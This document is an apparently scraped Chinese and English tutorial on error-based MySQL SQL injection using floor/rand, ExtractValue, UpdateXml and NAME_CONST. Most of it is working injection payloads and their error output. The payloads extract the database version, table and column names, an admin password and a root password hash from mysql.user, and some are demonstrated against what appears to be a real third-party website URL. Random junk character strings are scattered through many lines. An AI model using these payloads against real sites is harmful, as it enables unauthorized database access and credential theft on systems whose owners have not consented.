mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
$ e2 Q( }5 {+ n8 Q2 K|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
3 ]  c  {$ ^+ m& ]例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
2 x9 {4 ], {9 A7 Y3 n* i2 PERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
3 @+ `6 N, }2 g5 ]ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
5 R1 r7 |; y  _, l, ]% L6 z$ p6 c$ NERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
% L( {& M4 W0 _% {3 G
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

4 i( L* M1 a2 D* {0 W* C+ N) D- Xhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
$ q( K& ~- @3 t1 Y
* X' A8 y) H  Y1 _2 n9 |MYSQL高版本报错注入技巧-利用NAME_CONST注入
' Z) O: e+ K* P( sIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息
8 J% ^. g* z2 Z6 J$ E% h1 D$ \; q
7 c& u7 `9 U) H0 |6 F( NNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

& ~" c+ o; D1 J# _, t+ S7 k" u3 t  \1 PCode:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
5 |. A0 j, v$ _: j7 d: z  J6 O
) E" x1 b0 H8 \SELECT NAME_CONST('TEST', 1)
5 Y5 P% d( {7 ]. r4 m


7 S9 Z: z1 c/ q1 f# }: F|---------------|
|     TEST      |
|               |
|---------------|
! u6 j# }4 q$ L0 k: S|       1       |
2 V0 c2 d  c2 L|               |
1 y9 X' T& g9 i5 @; ]4 [4 e|---------------|


( ]  ], w4 P* n" X5 ]

0 C, m. y5 C  N' @5 Uhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
1 y& y' Y# h% c) \: cIntro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
% L! O$ i' Z7 t5 W, A
% k2 S6 t" q( [- d- ^Code:
6 D# X7 X; g9 T7 I  Whttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261



1 [4 D( \3 T% E  o

Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
( g4 U# f: L" p* I
4 j% V; N$ X8 Q+ Y- ]  q7 d# x; c
VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
0 V: K9 B+ s. C9 S
Let's try it out on my site..
9 `4 U0 t# v1 r1 o, t
* I; X) `# P8 ^2 I: tCode:
  O5 ?8 d/ c5 e' r. bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
9 V+ e; p5 P% `( S" n+ U
& }+ R1 j5 F1 w* SErroruplicate column name '5.0.27-community-nt'



$ H2 c; u5 C7 S4 U- x

; Q: }$ q* d- |& z" @6 f1 r) z! ONow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
( i! x) R# [+ ?
Data Extraction
& q; r# X" o, ^' S0 S
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


We should get a duplicate column 1 error...
( M5 d7 {9 D% b
$ N! B- N' G, P, xCode:
; e1 k# O+ y. @9 T. g* jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
( a/ l3 G+ w1 ~4 }5 h2 u" p( p
Erroruplicate column name '1



/ y6 b  }2 ], ]/ J& R


6 o$ X& t7 X$ ZNow let's get the tables out this bitch..

/ T0 x4 r. @6 ]& I: iCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.
, _& w+ S  B) O9 \
7 M# P: r0 @* r* \" M! u' rCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
5 t) I4 U; H( J' t) _5 N1 i
1 x$ k1 N! [: r. y: y
' u2 O6 \0 p( j& ^Erroruplicate column name 'com_admanage
1 @( B$ s$ H6 k" B
2 j+ T3 A6 z; Y" C! ~) S! u
, D) h2 n& I0 y3 j. X
2 G: v" M% @& n* P4 O) R- R
2 x2 G- w/ \& ^& Y
3 N$ R" r& Y- k" f( |/ d; O
; W9 I2 T: m  ^8 u6 H# zNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..
4 _; j( ^9 e3 b  b5 R6 Z
7 f$ \& e# t+ Q$ G, c( B* ICode:
: x  @+ i" U" M* M% L8 l, i+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
( W% q! b- {3 X6 {
/ ^; ~4 {1 r* A7 K) e
) x0 i8 ?- _! v* W1 y3 L8 W$ uSo mine looks like this, and I get the duplicate column name 'Host'.
  B6 p- o8 L% g# Q, g
" K- y5 {; X; R& T$ tCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
8 m$ e4 {" U  s6 d* W3 h5 d
" A! r4 E) z3 c
$ y! I9 P: d+ g& H5 C" \0 v
9 ]( P) z4 r- z- [
' y- Z- i' b, d% |

$ x1 x, [  m% E" H. EWoot, time to finish this bitch off.

Code:
) ^7 ^- m: `0 a$ a+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
2 i0 @3 D# T" e' g) g0 t

5 i# V: C" f/ B& jSo mine looks like this...

Code:
8 M& g# [4 u' X3 J) bhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

9 G! ~4 Z. V, C: @/ AErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
1 V% P: f  _7 I- H( p) k
. ]) a7 j& M3 L0 V% Z- y1 w+ K0 H


$ Y  ^# [$ W/ S! K2 y
6 {7 b9 x& M8 a9 f
& m. ?- G+ N/ BAnd there we have it, thanks for reading.
% n! S; K4 C/ h: Q4 l. D
$ I" q: l7 X! ^& w0 D' X* f5 g